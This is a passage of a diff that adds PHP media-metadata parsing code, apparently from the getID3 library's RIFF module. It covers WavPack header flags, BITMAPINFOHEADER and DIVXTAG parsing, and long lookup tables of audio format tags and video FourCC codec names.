$thisfile_wavpack['version'] = getid3_lib::LittleEndian2Int(substr($WavPackChunkData, 0, 2)); + if ($thisfile_wavpack['version'] >= 2) { + $thisfile_wavpack['bits'] = getid3_lib::LittleEndian2Int(substr($WavPackChunkData, 2, 2)); + } + if ($thisfile_wavpack['version'] >= 3) { + $thisfile_wavpack['flags_raw'] = getid3_lib::LittleEndian2Int(substr($WavPackChunkData, 4, 2)); + $thisfile_wavpack['shift'] = getid3_lib::LittleEndian2Int(substr($WavPackChunkData, 6, 2)); + $thisfile_wavpack['total_samples'] = getid3_lib::LittleEndian2Int(substr($WavPackChunkData, 8, 4)); + $thisfile_wavpack['crc1'] = getid3_lib::LittleEndian2Int(substr($WavPackChunkData, 12, 4)); + $thisfile_wavpack['crc2'] = getid3_lib::LittleEndian2Int(substr($WavPackChunkData, 16, 4)); + $thisfile_wavpack['extension'] = substr($WavPackChunkData, 20, 4); + $thisfile_wavpack['extra_bc'] = getid3_lib::LittleEndian2Int(substr($WavPackChunkData, 24, 1)); + for ($i = 0; $i <= 2; $i++) { + $thisfile_wavpack['extras'][] = getid3_lib::LittleEndian2Int(substr($WavPackChunkData, 25 + $i, 1)); + } + + // shortcut + $thisfile_wavpack['flags'] = array(); + $thisfile_wavpack_flags = &$thisfile_wavpack['flags']; + + $thisfile_wavpack_flags['mono'] = (bool) ($thisfile_wavpack['flags_raw'] & 0x000001); + $thisfile_wavpack_flags['fast_mode'] = (bool) ($thisfile_wavpack['flags_raw'] & 0x000002); + $thisfile_wavpack_flags['raw_mode'] = (bool) ($thisfile_wavpack['flags_raw'] & 0x000004); + $thisfile_wavpack_flags['calc_noise'] = (bool) ($thisfile_wavpack['flags_raw'] & 0x000008); + $thisfile_wavpack_flags['high_quality'] = (bool) ($thisfile_wavpack['flags_raw'] & 0x000010); + $thisfile_wavpack_flags['3_byte_samples'] = (bool) ($thisfile_wavpack['flags_raw'] & 0x000020); + $thisfile_wavpack_flags['over_20_bits'] = (bool) ($thisfile_wavpack['flags_raw'] & 0x000040); + $thisfile_wavpack_flags['use_wvc'] = (bool) ($thisfile_wavpack['flags_raw'] & 0x000080); + $thisfile_wavpack_flags['noiseshaping'] = (bool) ($thisfile_wavpack['flags_raw'] & 0x000100); + $thisfile_wavpack_flags['very_fast_mode'] = (bool) ($thisfile_wavpack['flags_raw'] & 0x000200); + $thisfile_wavpack_flags['new_high_quality'] = (bool) ($thisfile_wavpack['flags_raw'] & 0x000400); + $thisfile_wavpack_flags['cancel_extreme'] = (bool) ($thisfile_wavpack['flags_raw'] & 0x000800); + $thisfile_wavpack_flags['cross_decorrelation'] = (bool) ($thisfile_wavpack['flags_raw'] & 0x001000); + $thisfile_wavpack_flags['new_decorrelation'] = (bool) ($thisfile_wavpack['flags_raw'] & 0x002000); + $thisfile_wavpack_flags['joint_stereo'] = (bool) ($thisfile_wavpack['flags_raw'] & 0x004000); + $thisfile_wavpack_flags['extra_decorrelation'] = (bool) ($thisfile_wavpack['flags_raw'] & 0x008000); + $thisfile_wavpack_flags['override_noiseshape'] = (bool) ($thisfile_wavpack['flags_raw'] & 0x010000); + $thisfile_wavpack_flags['override_jointstereo'] = (bool) ($thisfile_wavpack['flags_raw'] & 0x020000); + $thisfile_wavpack_flags['copy_source_filetime'] = (bool) ($thisfile_wavpack['flags_raw'] & 0x040000); + $thisfile_wavpack_flags['create_exe'] = (bool) ($thisfile_wavpack['flags_raw'] & 0x080000); + } + + return true; + } + + /** + * @param string $BITMAPINFOHEADER + * @param bool $littleEndian + * + * @return array + */ + public static function ParseBITMAPINFOHEADER($BITMAPINFOHEADER, $littleEndian=true) { + + $parsed = array(); + $parsed['biSize'] = substr($BITMAPINFOHEADER, 0, 4); // number of bytes required by the BITMAPINFOHEADER structure + $parsed['biWidth'] = substr($BITMAPINFOHEADER, 4, 4); // width of the bitmap in pixels + $parsed['biHeight'] = substr($BITMAPINFOHEADER, 8, 4); // height of the bitmap in pixels. If biHeight is positive, the bitmap is a 'bottom-up' DIB and its origin is the lower left corner. If biHeight is negative, the bitmap is a 'top-down' DIB and its origin is the upper left corner + $parsed['biPlanes'] = substr($BITMAPINFOHEADER, 12, 2); // number of color planes on the target device. In most cases this value must be set to 1 + $parsed['biBitCount'] = substr($BITMAPINFOHEADER, 14, 2); // Specifies the number of bits per pixels + $parsed['biSizeImage'] = substr($BITMAPINFOHEADER, 20, 4); // size of the bitmap data section of the image (the actual pixel data, excluding BITMAPINFOHEADER and RGBQUAD structures) + $parsed['biXPelsPerMeter'] = substr($BITMAPINFOHEADER, 24, 4); // horizontal resolution, in pixels per metre, of the target device + $parsed['biYPelsPerMeter'] = substr($BITMAPINFOHEADER, 28, 4); // vertical resolution, in pixels per metre, of the target device + $parsed['biClrUsed'] = substr($BITMAPINFOHEADER, 32, 4); // actual number of color indices in the color table used by the bitmap. If this value is zero, the bitmap uses the maximum number of colors corresponding to the value of the biBitCount member for the compression mode specified by biCompression + $parsed['biClrImportant'] = substr($BITMAPINFOHEADER, 36, 4); // number of color indices that are considered important for displaying the bitmap. If this value is zero, all colors are important + $parsed = array_map('getid3_lib::'.($littleEndian ? 'Little' : 'Big').'Endian2Int', $parsed); + + $parsed['fourcc'] = substr($BITMAPINFOHEADER, 16, 4); // compression identifier + + return $parsed; + } + + /** + * @param string $DIVXTAG + * @param bool $raw + * + * @return array + */ + public static function ParseDIVXTAG($DIVXTAG, $raw=false) { + // structure from "IDivX" source, Form1.frm, by "Greg Frazier of Daemonic Software Group", email: gfrazier@icestorm.net, web: http://dsg.cjb.net/ + // source available at http://files.divx-digest.com/download/c663efe7ef8ad2e90bf4af4d3ea6188a/on0SWN2r/edit/IDivX.zip + // 'Byte Layout: '1111111111111111 + // '32 for Movie - 1 '1111111111111111 + // '28 for Author - 6 '6666666666666666 + // '4 for year - 2 '6666666666662222 + // '3 for genre - 3 '7777777777777777 + // '48 for Comments - 7 '7777777777777777 + // '1 for Rating - 4 '7777777777777777 + // '5 for Future Additions - 0 '333400000DIVXTAG + // '128 bytes total + + static $DIVXTAGgenre = array( + 0 => 'Action', + 1 => 'Action/Adventure', + 2 => 'Adventure', + 3 => 'Adult', + 4 => 'Anime', + 5 => 'Cartoon', + 6 => 'Claymation', + 7 => 'Comedy', + 8 => 'Commercial', + 9 => 'Documentary', + 10 => 'Drama', + 11 => 'Home Video', + 12 => 'Horror', + 13 => 'Infomercial', + 14 => 'Interactive', + 15 => 'Mystery', + 16 => 'Music Video', + 17 => 'Other', + 18 => 'Religion', + 19 => 'Sci Fi', + 20 => 'Thriller', + 21 => 'Western', + ), + $DIVXTAGrating = array( + 0 => 'Unrated', + 1 => 'G', + 2 => 'PG', + 3 => 'PG-13', + 4 => 'R', + 5 => 'NC-17', + ); + + $parsed = array(); + $parsed['title'] = trim(substr($DIVXTAG, 0, 32)); + $parsed['artist'] = trim(substr($DIVXTAG, 32, 28)); + $parsed['year'] = intval(trim(substr($DIVXTAG, 60, 4))); + $parsed['comment'] = trim(substr($DIVXTAG, 64, 48)); + $parsed['genre_id'] = intval(trim(substr($DIVXTAG, 112, 3))); + $parsed['rating_id'] = ord(substr($DIVXTAG, 115, 1)); + //$parsed['padding'] = substr($DIVXTAG, 116, 5); // 5-byte null + //$parsed['magic'] = substr($DIVXTAG, 121, 7); // "DIVXTAG" + + $parsed['genre'] = (isset($DIVXTAGgenre[$parsed['genre_id']]) ? $DIVXTAGgenre[$parsed['genre_id']] : $parsed['genre_id']); + $parsed['rating'] = (isset($DIVXTAGrating[$parsed['rating_id']]) ? $DIVXTAGrating[$parsed['rating_id']] : $parsed['rating_id']); + + if (!$raw) { + unset($parsed['genre_id'], $parsed['rating_id']); + foreach ($parsed as $key => $value) { + if (empty($value)) { + unset($parsed[$key]); + } + } + } + + foreach ($parsed as $tag => $value) { + $parsed[$tag] = array($value); + } + + return $parsed; + } + + /** + * @param string $tagshortname + * + * @return string + */ + public static function waveSNDMtagLookup($tagshortname) { + $begin = __LINE__; + + /** This is not a comment! + + ©kwd keywords + ©BPM bpm + ©trt tracktitle + ©des description + ©gen category + ©fin featuredinstrument + ©LID longid + ©bex bwdescription + ©pub publisher + ©cdt cdtitle + ©alb library + ©com composer + + */ + + return getid3_lib::EmbeddedLookup($tagshortname, $begin, __LINE__, __FILE__, 'riff-sndm'); + } + + /** + * @param int $wFormatTag + * + * @return string + */ + public static function wFormatTagLookup($wFormatTag) { + + $begin = __LINE__; + + /** This is not a comment! + + 0x0000 Microsoft Unknown Wave Format + 0x0001 Pulse Code Modulation (PCM) + 0x0002 Microsoft ADPCM + 0x0003 IEEE Float + 0x0004 Compaq Computer VSELP + 0x0005 IBM CVSD + 0x0006 Microsoft A-Law + 0x0007 Microsoft mu-Law + 0x0008 Microsoft DTS + 0x0010 OKI ADPCM + 0x0011 Intel DVI/IMA ADPCM + 0x0012 Videologic MediaSpace ADPCM + 0x0013 Sierra Semiconductor ADPCM + 0x0014 Antex Electronics G.723 ADPCM + 0x0015 DSP Solutions DigiSTD + 0x0016 DSP Solutions DigiFIX + 0x0017 Dialogic OKI ADPCM + 0x0018 MediaVision ADPCM + 0x0019 Hewlett-Packard CU + 0x0020 Yamaha ADPCM + 0x0021 Speech Compression Sonarc + 0x0022 DSP Group TrueSpeech + 0x0023 Echo Speech EchoSC1 + 0x0024 Audiofile AF36 + 0x0025 Audio Processing Technology APTX + 0x0026 AudioFile AF10 + 0x0027 Prosody 1612 + 0x0028 LRC + 0x0030 Dolby AC2 + 0x0031 Microsoft GSM 6.10 + 0x0032 MSNAudio + 0x0033 Antex Electronics ADPCME + 0x0034 Control Resources VQLPC + 0x0035 DSP Solutions DigiREAL + 0x0036 DSP Solutions DigiADPCM + 0x0037 Control Resources CR10 + 0x0038 Natural MicroSystems VBXADPCM + 0x0039 Crystal Semiconductor IMA ADPCM + 0x003A EchoSC3 + 0x003B Rockwell ADPCM + 0x003C Rockwell Digit LK + 0x003D Xebec + 0x0040 Antex Electronics G.721 ADPCM + 0x0041 G.728 CELP + 0x0042 MSG723 + 0x0050 MPEG Layer-2 or Layer-1 + 0x0052 RT24 + 0x0053 PAC + 0x0055 MPEG Layer-3 + 0x0059 Lucent G.723 + 0x0060 Cirrus + 0x0061 ESPCM + 0x0062 Voxware + 0x0063 Canopus Atrac + 0x0064 G.726 ADPCM + 0x0065 G.722 ADPCM + 0x0066 DSAT + 0x0067 DSAT Display + 0x0069 Voxware Byte Aligned + 0x0070 Voxware AC8 + 0x0071 Voxware AC10 + 0x0072 Voxware AC16 + 0x0073 Voxware AC20 + 0x0074 Voxware MetaVoice + 0x0075 Voxware MetaSound + 0x0076 Voxware RT29HW + 0x0077 Voxware VR12 + 0x0078 Voxware VR18 + 0x0079 Voxware TQ40 + 0x0080 Softsound + 0x0081 Voxware TQ60 + 0x0082 MSRT24 + 0x0083 G.729A + 0x0084 MVI MV12 + 0x0085 DF G.726 + 0x0086 DF GSM610 + 0x0088 ISIAudio + 0x0089 Onlive + 0x0091 SBC24 + 0x0092 Dolby AC3 SPDIF + 0x0093 MediaSonic G.723 + 0x0094 Aculab PLC Prosody 8kbps + 0x0097 ZyXEL ADPCM + 0x0098 Philips LPCBB + 0x0099 Packed + 0x00FF AAC + 0x0100 Rhetorex ADPCM + 0x0101 IBM mu-law + 0x0102 IBM A-law + 0x0103 IBM AVC Adaptive Differential Pulse Code Modulation (ADPCM) + 0x0111 Vivo G.723 + 0x0112 Vivo Siren + 0x0123 Digital G.723 + 0x0125 Sanyo LD ADPCM + 0x0130 Sipro Lab Telecom ACELP NET + 0x0131 Sipro Lab Telecom ACELP 4800 + 0x0132 Sipro Lab Telecom ACELP 8V3 + 0x0133 Sipro Lab Telecom G.729 + 0x0134 Sipro Lab Telecom G.729A + 0x0135 Sipro Lab Telecom Kelvin + 0x0140 Windows Media Video V8 + 0x0150 Qualcomm PureVoice + 0x0151 Qualcomm HalfRate + 0x0155 Ring Zero Systems TUB GSM + 0x0160 Microsoft Audio 1 + 0x0161 Windows Media Audio V7 / V8 / V9 + 0x0162 Windows Media Audio Professional V9 + 0x0163 Windows Media Audio Lossless V9 + 0x0200 Creative Labs ADPCM + 0x0202 Creative Labs Fastspeech8 + 0x0203 Creative Labs Fastspeech10 + 0x0210 UHER Informatic GmbH ADPCM + 0x0220 Quarterdeck + 0x0230 I-link Worldwide VC + 0x0240 Aureal RAW Sport + 0x0250 Interactive Products HSX + 0x0251 Interactive Products RPELP + 0x0260 Consistent Software CS2 + 0x0270 Sony SCX + 0x0300 Fujitsu FM Towns Snd + 0x0400 BTV Digital + 0x0401 Intel Music Coder + 0x0450 QDesign Music + 0x0680 VME VMPCM + 0x0681 AT&T Labs TPC + 0x08AE ClearJump LiteWave + 0x1000 Olivetti GSM + 0x1001 Olivetti ADPCM + 0x1002 Olivetti CELP + 0x1003 Olivetti SBC + 0x1004 Olivetti OPR + 0x1100 Lernout & Hauspie Codec (0x1100) + 0x1101 Lernout & Hauspie CELP Codec (0x1101) + 0x1102 Lernout & Hauspie SBC Codec (0x1102) + 0x1103 Lernout & Hauspie SBC Codec (0x1103) + 0x1104 Lernout & Hauspie SBC Codec (0x1104) + 0x1400 Norris + 0x1401 AT&T ISIAudio + 0x1500 Soundspace Music Compression + 0x181C VoxWare RT24 Speech + 0x1FC4 NCT Soft ALF2CD (www.nctsoft.com) + 0x2000 Dolby AC3 + 0x2001 Dolby DTS + 0x2002 WAVE_FORMAT_14_4 + 0x2003 WAVE_FORMAT_28_8 + 0x2004 WAVE_FORMAT_COOK + 0x2005 WAVE_FORMAT_DNET + 0x674F Ogg Vorbis 1 + 0x6750 Ogg Vorbis 2 + 0x6751 Ogg Vorbis 3 + 0x676F Ogg Vorbis 1+ + 0x6770 Ogg Vorbis 2+ + 0x6771 Ogg Vorbis 3+ + 0x7A21 GSM-AMR (CBR, no SID) + 0x7A22 GSM-AMR (VBR, including SID) + 0xFFFE WAVE_FORMAT_EXTENSIBLE + 0xFFFF WAVE_FORMAT_DEVELOPMENT + + */ + + return getid3_lib::EmbeddedLookup('0x'.str_pad(strtoupper(dechex($wFormatTag)), 4, '0', STR_PAD_LEFT), $begin, __LINE__, __FILE__, 'riff-wFormatTag'); + } + + /** + * @param string $fourcc + * + * @return string + */ + public static function fourccLookup($fourcc) { + + $begin = __LINE__; + + /** This is not a comment! + + swot http://developer.apple.com/qa/snd/snd07.html + ____ No Codec (____) + _BIT BI_BITFIELDS (Raw RGB) + _JPG JPEG compressed + _PNG PNG compressed W3C/ISO/IEC (RFC-2083) + _RAW Full Frames (Uncompressed) + _RGB Raw RGB Bitmap + _RL4 RLE 4bpp RGB + _RL8 RLE 8bpp RGB + 3IV1 3ivx MPEG-4 v1 + 3IV2 3ivx MPEG-4 v2 + 3IVX 3ivx MPEG-4 + AASC Autodesk Animator + ABYR Kensington ?ABYR? + AEMI Array Microsystems VideoONE MPEG1-I Capture + AFLC Autodesk Animator FLC + AFLI Autodesk Animator FLI + AMPG Array Microsystems VideoONE MPEG + ANIM Intel RDX (ANIM) + AP41 AngelPotion Definitive + ASV1 Asus Video v1 + ASV2 Asus Video v2 + ASVX Asus Video 2.0 (audio) + AUR2 AuraVision Aura 2 Codec - YUV 4:2:2 + AURA AuraVision Aura 1 Codec - YUV 4:1:1 + AVDJ Independent JPEG Group\'s codec (AVDJ) + AVRN Independent JPEG Group\'s codec (AVRN) + AYUV 4:4:4 YUV (AYUV) + AZPR Quicktime Apple Video (AZPR) + BGR Raw RGB32 + BLZ0 Blizzard DivX MPEG-4 + BTVC Conexant Composite Video + BINK RAD Game Tools Bink Video + BT20 Conexant Prosumer Video + BTCV Conexant Composite Video Codec + BW10 Data Translation Broadway MPEG Capture + CC12 Intel YUV12 + CDVC Canopus DV + CFCC Digital Processing Systems DPS Perception + CGDI Microsoft Office 97 Camcorder Video + CHAM Winnov Caviara Champagne + CJPG Creative WebCam JPEG + CLJR Cirrus Logic YUV 4:1:1 + CMYK Common Data Format in Printing (Colorgraph) + CPLA Weitek 4:2:0 YUV Planar + CRAM Microsoft Video 1 (CRAM) + cvid Radius Cinepak + CVID Radius Cinepak + CWLT Microsoft Color WLT DIB + CYUV Creative Labs YUV + CYUY ATI YUV + D261 H.261 + D263 H.263 + DIB Device Independent Bitmap + DIV1 FFmpeg OpenDivX + DIV2 Microsoft MPEG-4 v1/v2 + DIV3 DivX ;-) MPEG-4 v3.x Low-Motion + DIV4 DivX ;-) MPEG-4 v3.x Fast-Motion + DIV5 DivX MPEG-4 v5.x + DIV6 DivX ;-) (MS MPEG-4 v3.x) + DIVX DivX MPEG-4 v4 (OpenDivX / Project Mayo) + divx DivX MPEG-4 + DMB1 Matrox Rainbow Runner hardware MJPEG + DMB2 Paradigm MJPEG + DSVD ?DSVD? + DUCK Duck TrueMotion 1.0 + DPS0 DPS/Leitch Reality Motion JPEG + DPSC DPS/Leitch PAR Motion JPEG + DV25 Matrox DVCPRO codec + DV50 Matrox DVCPRO50 codec + DVC IEC 61834 and SMPTE 314M (DVC/DV Video) + DVCP IEC 61834 and SMPTE 314M (DVC/DV Video) + DVHD IEC Standard DV 1125 lines @ 30fps / 1250 lines @ 25fps + DVMA Darim Vision DVMPEG (dummy for MPEG compressor) (www.darvision.com) + DVSL IEC Standard DV compressed in SD (SDL) + DVAN ?DVAN? + DVE2 InSoft DVE-2 Videoconferencing + dvsd IEC 61834 and SMPTE 314M DVC/DV Video + DVSD IEC 61834 and SMPTE 314M DVC/DV Video + DVX1 Lucent DVX1000SP Video Decoder + DVX2 Lucent DVX2000S Video Decoder + DVX3 Lucent DVX3000S Video Decoder + DX50 DivX v5 + DXT1 Microsoft DirectX Compressed Texture (DXT1) + DXT2 Microsoft DirectX Compressed Texture (DXT2) + DXT3 Microsoft DirectX Compressed Texture (DXT3) + DXT4 Microsoft DirectX Compressed Texture (DXT4) + DXT5 Microsoft DirectX Compressed Texture (DXT5) + DXTC Microsoft DirectX Compressed Texture (DXTC) + DXTn Microsoft DirectX Compressed Texture (DXTn) + EM2V Etymonix MPEG-2 I-frame (www.etymonix.com) + EKQ0 Elsa ?EKQ0? + ELK0 Elsa ?ELK0? + ESCP Eidos Escape + ETV1 eTreppid Video ETV1 + ETV2 eTreppid Video ETV2 + ETVC eTreppid Video ETVC + FLIC Autodesk FLI/FLC Animation + FLV1 Sorenson Spark + FLV4 On2 TrueMotion VP6 + FRWT Darim Vision Forward Motion JPEG (www.darvision.com) + FRWU Darim Vision Forward Uncompressed (www.darvision.com) + FLJP D-Vision Field Encoded Motion JPEG + FPS1 FRAPS v1 + FRWA SoftLab-Nsk Forward Motion JPEG w/ alpha channel + FRWD SoftLab-Nsk Forward Motion JPEG + FVF1 Iterated Systems Fractal Video Frame + GLZW Motion LZW (gabest@freemail.hu) + GPEG Motion JPEG (gabest@freemail.hu) + GWLT Microsoft Greyscale WLT DIB + H260 Intel ITU H.260 Videoconferencing + H261 Intel ITU H.261 Videoconferencing + H262 Intel ITU H.262 Videoconferencing + H263 Intel ITU H.263 Videoconferencing + H264 Intel ITU H.264 Videoconferencing + H265 Intel ITU H.265 Videoconferencing + H266 Intel ITU H.266 Videoconferencing + H267 Intel ITU H.267 Videoconferencing + H268 Intel ITU H.268 Videoconferencing + H269 Intel ITU H.269 Videoconferencing + HFYU Huffman Lossless Codec + HMCR Rendition Motion Compensation Format (HMCR) + HMRR Rendition Motion Compensation Format (HMRR) + I263 FFmpeg I263 decoder + IF09 Indeo YVU9 ("YVU9 with additional delta-frame info after the U plane") + IUYV Interlaced version of UYVY (www.leadtools.com) + IY41 Interlaced version of Y41P (www.leadtools.com) + IYU1 12 bit format used in mode 2 of the IEEE 1394 Digital Camera 1.04 spec IEEE standard + IYU2 24 bit format used in mode 2 of the IEEE 1394 Digital Camera 1.04 spec IEEE standard + IYUV Planar YUV format (8-bpp Y plane, followed by 8-bpp 2×2 U and V planes) + i263 Intel ITU H.263 Videoconferencing (i263) + I420 Intel Indeo 4 + IAN Intel Indeo 4 (RDX) + ICLB InSoft CellB Videoconferencing + IGOR Power DVD + IJPG Intergraph JPEG + ILVC Intel Layered Video + ILVR ITU-T H.263+ + IPDV I-O Data Device Giga AVI DV Codec + IR21 Intel Indeo 2.1 + IRAW Intel YUV Uncompressed + IV30 Intel Indeo 3.0 + IV31 Intel Indeo 3.1 + IV32 Ligos Indeo 3.2 + IV33 Ligos Indeo 3.3 + IV34 Ligos Indeo 3.4 + IV35 Ligos Indeo 3.5 + IV36 Ligos Indeo 3.6 + IV37 Ligos Indeo 3.7 + IV38 Ligos Indeo 3.8 + IV39 Ligos Indeo 3.9 + IV40 Ligos Indeo Interactive 4.0 + IV41 Ligos Indeo Interactive 4.1 + IV42 Ligos Indeo Interactive 4.2 + IV43 Ligos Indeo Interactive 4.3 + IV44 Ligos Indeo Interactive 4.4 + IV45 Ligos Indeo Interactive 4.5 + IV46 Ligos Indeo Interactive 4.6 + IV47 Ligos Indeo Interactive 4.7 + IV48 Ligos Indeo Interactive 4.8 + IV49 Ligos Indeo Interactive 4.9 + IV50 Ligos Indeo Interactive 5.0 + JBYR Kensington ?JBYR? + JPEG Still Image JPEG DIB + JPGL Pegasus Lossless Motion JPEG + KMVC Team17 Software Karl Morton\'s Video Codec + LSVM Vianet Lighting Strike Vmail (Streaming) (www.vianet.com) + LEAD LEAD Video Codec + Ljpg LEAD MJPEG Codec + MDVD Alex MicroDVD Video (hacked MS MPEG-4) (www.tiasoft.de) + MJPA Morgan Motion JPEG (MJPA) (www.morgan-multimedia.com) + MJPB Morgan Motion JPEG (MJPB) (www.morgan-multimedia.com) + MMES Matrox MPEG-2 I-frame + MP2v Microsoft S-Mpeg 4 version 1 (MP2v) + MP42 Microsoft S-Mpeg 4 version 2 (MP42) + MP43 Microsoft S-Mpeg 4 version 3 (MP43) + MP4S Microsoft S-Mpeg 4 version 3 (MP4S) + MP4V FFmpeg MPEG-4 + MPG1 FFmpeg MPEG 1/2 + MPG2 FFmpeg MPEG 1/2 + MPG3 FFmpeg DivX ;-) (MS MPEG-4 v3) + MPG4 Microsoft MPEG-4 + MPGI Sigma Designs MPEG + MPNG PNG images decoder + MSS1 Microsoft Windows Screen Video + MSZH LCL (Lossless Codec Library) (www.geocities.co.jp/Playtown-Denei/2837/LRC.htm) + M261 Microsoft H.261 + M263 Microsoft H.263 + M4S2 Microsoft Fully Compliant MPEG-4 v2 simple profile (M4S2) + m4s2 Microsoft Fully Compliant MPEG-4 v2 simple profile (m4s2) + MC12 ATI Motion Compensation Format (MC12) + MCAM ATI Motion Compensation Format (MCAM) + MJ2C Morgan Multimedia Motion JPEG2000 + mJPG IBM Motion JPEG w/ Huffman Tables + MJPG Microsoft Motion JPEG DIB + MP42 Microsoft MPEG-4 (low-motion) + MP43 Microsoft MPEG-4 (fast-motion) + MP4S Microsoft MPEG-4 (MP4S) + mp4s Microsoft MPEG-4 (mp4s) + MPEG Chromatic Research MPEG-1 Video I-Frame + MPG4 Microsoft MPEG-4 Video High Speed Compressor + MPGI Sigma Designs MPEG + MRCA FAST Multimedia Martin Regen Codec + MRLE Microsoft Run Length Encoding + MSVC Microsoft Video 1 + MTX1 Matrox ?MTX1? + MTX2 Matrox ?MTX2? + MTX3 Matrox ?MTX3? + MTX4 Matrox ?MTX4? + MTX5 Matrox ?MTX5? + MTX6 Matrox ?MTX6? + MTX7 Matrox ?MTX7? + MTX8 Matrox ?MTX8? + MTX9 Matrox ?MTX9? + MV12 Motion Pixels Codec (old) + MWV1 Aware Motion Wavelets + nAVI SMR Codec (hack of Microsoft MPEG-4) (IRC #shadowrealm) + NT00 NewTek LightWave HDTV YUV w/ Alpha (www.newtek.com) + NUV1 NuppelVideo + NTN1 Nogatech Video Compression 1 + NVS0 nVidia GeForce Texture (NVS0) + NVS1 nVidia GeForce Texture (NVS1) + NVS2 nVidia GeForce Texture (NVS2) + NVS3 nVidia GeForce Texture (NVS3) + NVS4 nVidia GeForce Texture (NVS4) + NVS5 nVidia GeForce Texture (NVS5) + NVT0 nVidia GeForce Texture (NVT0) + NVT1 nVidia GeForce Texture (NVT1) + NVT2 nVidia GeForce Texture (NVT2) + NVT3 nVidia GeForce Texture (NVT3) + NVT4 nVidia GeForce Texture (NVT4) + NVT5 nVidia GeForce Texture (NVT5) + PIXL MiroXL, Pinnacle PCTV + PDVC I-O Data Device Digital Video Capture DV codec + PGVV Radius Video Vision + PHMO IBM Photomotion + PIM1 MPEG Realtime (Pinnacle Cards) + PIM2 Pegasus Imaging ?PIM2? + PIMJ Pegasus Imaging Lossless JPEG + PVEZ Horizons Technology PowerEZ + PVMM PacketVideo Corporation MPEG-4 + PVW2 Pegasus Imaging Wavelet Compression + Q1.0 Q-Team\'s QPEG 1.0 (www.q-team.de) + Q1.1 Q-Team\'s QPEG 1.1 (www.q-team.de) + QPEG Q-Team QPEG 1.0 + qpeq Q-Team QPEG 1.1 + RGB Raw BGR32 + RGBA Raw RGB w/ Alpha + RMP4 REALmagic MPEG-4 (unauthorized XVID copy) (www.sigmadesigns.com) + ROQV Id RoQ File Video Decoder + RPZA Quicktime Apple Video (RPZA) + RUD0 Rududu video codec (http://rududu.ifrance.com/rududu/) + RV10 RealVideo 1.0 (aka RealVideo 5.0) + RV13 RealVideo 1.0 (RV13) + RV20 RealVideo G2 + RV30 RealVideo 8 + RV40 RealVideo 9 + RGBT Raw RGB w/ Transparency + RLE Microsoft Run Length Encoder + RLE4 Run Length Encoded (4bpp, 16-color) + RLE8 Run Length Encoded (8bpp, 256-color) + RT21 Intel Indeo RealTime Video 2.1 + rv20 RealVideo G2 + rv30 RealVideo 8 + RVX Intel RDX (RVX ) + SMC Apple Graphics (SMC ) + SP54 Logitech Sunplus Sp54 Codec for Mustek GSmart Mini 2 + SPIG Radius Spigot + SVQ3 Sorenson Video 3 (Apple Quicktime 5) + s422 Tekram VideoCap C210 YUV 4:2:2 + SDCC Sun Communication Digital Camera Codec + SFMC CrystalNet Surface Fitting Method + SMSC Radius SMSC + SMSD Radius SMSD + smsv WorldConnect Wavelet Video + SPIG Radius Spigot + SPLC Splash Studios ACM Audio Codec (www.splashstudios.net) + SQZ2 Microsoft VXTreme Video Codec V2 + STVA ST Microelectronics CMOS Imager Data (Bayer) + STVB ST Microelectronics CMOS Imager Data (Nudged Bayer) + STVC ST Microelectronics CMOS Imager Data (Bunched) + STVX ST Microelectronics CMOS Imager Data (Extended CODEC Data Format) + STVY ST Microelectronics CMOS Imager Data (Extended CODEC Data Format with Correction Data) + SV10 Sorenson Video R1 + SVQ1 Sorenson Video + T420 Toshiba YUV 4:2:0 + TM2A Duck TrueMotion Archiver 2.0 (www.duck.com) + TVJP Pinnacle/Truevision Targa 2000 board (TVJP) + TVMJ Pinnacle/Truevision Targa 2000 board (TVMJ) + TY0N Tecomac Low-Bit Rate Codec (www.tecomac.com) + TY2C Trident Decompression Driver + TLMS TeraLogic Motion Intraframe Codec (TLMS) + TLST TeraLogic Motion Intraframe Codec (TLST) + TM20 Duck TrueMotion 2.0 + TM2X Duck TrueMotion 2X + TMIC TeraLogic Motion Intraframe Codec (TMIC) + TMOT Horizons Technology TrueMotion S + tmot Horizons TrueMotion Video Compression + TR20 Duck TrueMotion RealTime 2.0 + TSCC TechSmith Screen Capture Codec + TV10 Tecomac Low-Bit Rate Codec + TY2N Trident ?TY2N? + U263 UB Video H.263/H.263+/H.263++ Decoder + UMP4 UB Video MPEG 4 (www.ubvideo.com) + UYNV Nvidia UYVY packed 4:2:2 + UYVP Evans & Sutherland YCbCr 4:2:2 extended precision + UCOD eMajix.com ClearVideo + ULTI IBM Ultimotion + UYVY UYVY packed 4:2:2 + V261 Lucent VX2000S + VIFP VFAPI Reader Codec (www.yks.ne.jp/~hori/) + VIV1 FFmpeg H263+ decoder + VIV2 Vivo H.263 + VQC2 Vector-quantised codec 2 (research) http://eprints.ecs.soton.ac.uk/archive/00001310/01/VTC97-js.pdf) + VTLP Alaris VideoGramPiX + VYU9 ATI YUV (VYU9) + VYUY ATI YUV (VYUY) + V261 Lucent VX2000S + V422 Vitec Multimedia 24-bit YUV 4:2:2 Format + V655 Vitec Multimedia 16-bit YUV 4:2:2 Format + VCR1 ATI Video Codec 1 + VCR2 ATI Video Codec 2 + VCR3 ATI VCR 3.0 + VCR4 ATI VCR 4.0 + VCR5 ATI VCR 5.0 + VCR6 ATI VCR 6.0 + VCR7 ATI VCR 7.0 + VCR8 ATI VCR 8.0 + VCR9 ATI VCR 9.0 + VDCT Vitec Multimedia Video Maker Pro DIB + VDOM VDOnet VDOWave + VDOW VDOnet VDOLive (H.263) + VDTZ Darim Vison VideoTizer YUV + VGPX Alaris VideoGramPiX + VIDS Vitec Multimedia YUV 4:2:2 CCIR 601 for V422 + VIVO Vivo H.263 v2.00 + vivo Vivo H.263 + VIXL Miro/Pinnacle Video XL + VLV1 VideoLogic/PURE Digital Videologic Capture + VP30 On2 VP3.0 + VP31 On2 VP3.1 + VP6F On2 TrueMotion VP6 + VX1K Lucent VX1000S Video Codec + VX2K Lucent VX2000S Video Codec + VXSP Lucent VX1000SP Video Codec + WBVC Winbond W9960 + WHAM Microsoft Video 1 (WHAM) + WINX Winnov Software Compression + WJPG AverMedia Winbond JPEG + WMV1 Windows Media Video V7 + WMV2 Windows Media Video V8 + WMV3 Windows Media Video V9 + WNV1 Winnov Hardware Compression + XYZP Extended PAL format XYZ palette (www.riff.org) + x263 Xirlink H.263 + XLV0 NetXL Video Decoder + XMPG Xing MPEG (I-Frame only) + XVID XviD MPEG-4 (www.xvid.org) + XXAN ?XXAN? + YU92 Intel YUV (YU92) + YUNV Nvidia Uncompressed YUV 4:2:2 + YUVP Extended PAL format YUV palette (www.riff.org) + Y211 YUV 2:1:1 Packed + Y411 YUV 4:1:1 